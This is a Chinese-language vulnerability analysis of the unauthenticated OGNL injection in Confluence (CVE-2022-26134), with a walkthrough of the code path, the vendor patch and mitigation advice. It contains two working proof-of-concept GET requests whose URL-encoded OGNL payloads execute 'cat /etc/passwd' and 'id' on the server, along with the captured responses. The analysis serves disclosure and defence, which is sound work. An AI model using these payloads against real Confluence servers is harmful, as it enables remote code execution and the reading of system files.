
[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
[CVE-2022-26134] Confluence 未认证对象图导航语言(OGNL)注入
Confluence 是 Atlassian 开发的一款基于 Web 的工作区协作产品。它可以本地部署,也可以作为 Atlassian Cloud 的一部分使用。它由 3 个关键部分组成:页面、空间和页面树。
2022 年 6 月 2 日 20:00 UTC,Atlassian 发布了一份安全公告,涉及影响 Confluence Server 和 Confluence Data Center 产品的远程代码执行(RCE)漏洞。你可以在下方找到有关 CVE-2022-26134 漏洞的详细信息。
摘要: CVE-2022-26134 - Confluence Server 和 Data Center 中严重级别的未认证远程代码执行漏洞
公告发布日期: 2022 年 6 月 2 日
受影响产品: Confluence Server 和 Confluence Data Center
受影响版本: 所有受支持的 Confluence Server 和 Data Center 版本均受影响。1.3.0 之后的 Confluence Server 和 Data Center 版本均受影响。
修复版本: 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4 和 7.18.1
CVE 编号: CVE-2022-26134 Confluence 未认证对象图导航语言(OGNL)注入
概念验证: 示例请求 1
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
响应 1
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

概念验证: 示例请求 2
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
响应 2
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close
该漏洞是如何工作的?
URL 中的 /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ 会被 Confluence 解析为命名空间。然后代码会对该命名空间使用 translateVariables(Confluence 中文本解析工具的一部分)。由于 translateVariables 使用 OGNL,攻击载荷将被解析并执行。
OgnlValueStack 的 findValue(str) 非常重要,因为它是 OGNL 表达式求值的起点。如下面的代码片段所示,当该漏洞被利用时,TextParseUtil.class 会调用 OgnlValueStack.findValue。
public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class 使用 this.namespace 作为提供的表达式来调用 TextParseUtil.translateVariables:
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
其中 namespace 由 com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath 方法根据请求 URI 字符串创建:
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
结果是,攻击者提供的 URI 会被转换成命名空间,并最终进入 OGNL 表达式求值流程。从总体上看,这与 CVE-2018-11776(Apache Struts2 命名空间 OGNL 注入漏洞)非常相似。
补丁分析
Atlassian 指示客户将 xwork-1.0.3.6.jar 替换为新发布的 xwork-1.0.3-atlassian-10.jar。xwork jar 包含我们确定的通向 OGNL 表达式求值路径的 ActionChainResult.class 和 TextParseUtil.class。
该补丁进行了一些小改动来修复此问题。其中之一是,namespace 不再从 ActionChainResult.execute 传递给 TextParseUtil.translateVariables:
补丁前
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
补丁后
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
String finalNamespace = this.namespace;
String finalActionName = this.actionName;
借助 git diff 命令的输出,你可以在下图的 ActionChainResult.class 中看到补丁前后的差异。(摘自 Datalog 博客文章)
Atlassian 还在 xworks jar 中添加了 SafeExpressionUtil.class。SafeExpressionUtil.class 提供对不安全表达式的过滤功能,并已被插入到 OgnlValueStack.class 中,以便在调用 findValue 时检查表达式。例如:
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
组织应如何防范此漏洞?
由于补丁现已可用,请升级到已修复的 Confluence 版本。如果当前无法进行修补,Atlassian 已根据客户的 Confluence 版本提供了临时缓解措施说明。两者都要求在应用缓解措施时暂时关闭 Confluence。有关更多信息,请参阅 Atlassian 公告中的具体指南:
有关此漏洞修复的更多信息,请访问以下资源: